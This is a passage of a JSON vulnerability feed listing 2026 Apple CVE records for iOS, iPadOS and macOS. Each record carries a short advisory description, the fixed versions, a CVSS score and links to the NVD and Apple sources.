fixes.","publishedAt":"2026-05-11T21:19:01.280Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43655","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43655","type":"primary","publishedAt":"2026-05-11T21:19:01.280Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43654","cveId":"CVE-2026-43654","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to disclose kernel memory.","detail":"The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to disclose kernel memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:01.170Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43654","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43654","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43654","type":"primary","publishedAt":"2026-05-11T21:19:01.170Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43652","cveId":"CVE-2026-43652","aliases":[],"kind":"vulnerability","title":"A permissions issue was addressed with additional restrictions.","summary":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.5. An app may be able to access protected user data.","detail":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.5. An app may be able to access protected user data.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:00.970Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43652","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43652","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43652","type":"primary","publishedAt":"2026-05-11T21:19:00.970Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39871","cveId":"CVE-2026-39871","aliases":[],"kind":"vulnerability","title":"A path handling issue was addressed with improved logic.","summary":"A path handling issue was addressed with improved logic. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to observe unprotected user data.","detail":"A path handling issue was addressed with improved logic. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to observe unprotected user data.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:00.050Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39871","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39871","type":"primary","publishedAt":"2026-05-11T21:19:00.050Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39870","cveId":"CVE-2026-39870","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Processing a maliciously crafted image may corrupt process memory.","detail":"The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Processing a maliciously crafted image may corrupt process memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:59.947Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39870","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39870","type":"primary","publishedAt":"2026-05-11T21:18:59.947Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28995","cveId":"CVE-2026-28995","aliases":[],"kind":"vulnerability","title":"A logic issue was addressed with improved restrictions.","summary":"A logic issue was addressed with improved restrictions. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.4, macOS Sonoma 14.8.4, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A malicious app may be able to break out of its sandbox.","detail":"A logic issue was addressed with improved restrictions. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.4, macOS Sonoma 14.8.4, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A malicious app may be able to break out of its sandbox.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:59.417Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28995","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28995","type":"primary","publishedAt":"2026-05-11T21:18:59.417Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28991","cveId":"CVE-2026-28991","aliases":[],"kind":"vulnerability","title":"An out-of-bounds read was addressed with improved bounds checking.","summary":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.","detail":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:59.017Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28991","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28991","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28991","type":"primary","publishedAt":"2026-05-11T21:18:59.017Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28990","cveId":"CVE-2026-28990","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.","detail":"The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.917Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28990","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28990","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28990","type":"primary","publishedAt":"2026-05-11T21:18:58.917Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28987","cveId":"CVE-2026-28987","aliases":[],"kind":"vulnerability","title":"A logging issue was addressed with improved data redaction.","summary":"A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to leak sensitive kernel state.","detail":"A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to leak sensitive kernel state.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.720Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28987","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28987","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28987","type":"primary","publishedAt":"2026-05-11T21:18:58.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28986","cveId":"CVE-2026-28986","aliases":[],"kind":"vulnerability","title":"A race condition was addressed with additional validation.","summary":"A race condition was addressed with additional validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.","detail":"A race condition was addressed with additional validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.623Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28986","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28986","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28986","type":"primary","publishedAt":"2026-05-11T21:18:58.623Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28983","cveId":"CVE-2026-28983","aliases":[],"kind":"vulnerability","title":"A type confusion issue was addressed with improved checks.","summary":"A type confusion issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause a denial of service.","detail":"A type confusion issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause a denial of service.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.423Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28983","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28983","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28983","type":"primary","publishedAt":"2026-05-11T21:18:58.423Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28978","cveId":"CVE-2026-28978","aliases":[],"kind":"vulnerability","title":"A permissions issue was addressed with additional restrictions.","summary":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A malicious app may be able to break out of its sandbox.","detail":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A malicious app may be able to break out of its sandbox.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.320Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28978","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28978","type":"primary","publishedAt":"2026-05-11T21:18:58.320Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28976","cveId":"CVE-2026-28976","aliases":[],"kind":"vulnerability","title":"An information leakage was addressed with additional validation.","summary":"An information leakage was addressed with additional validation. This issue is fixed in macOS Tahoe 26.5. An app may be able to gain root privileges.","detail":"An information leakage was addressed with additional validation. This issue is fixed in macOS Tahoe 26.5. An app may be able to gain root privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.117Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28976","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28976","type":"primary","publishedAt":"2026-05-11T21:18:58.117Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28974","cveId":"CVE-2026-28974","aliases":[],"kind":"vulnerability","title":"This issue was addressed with improved checks to prevent unauthorized actions.","summary":"This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 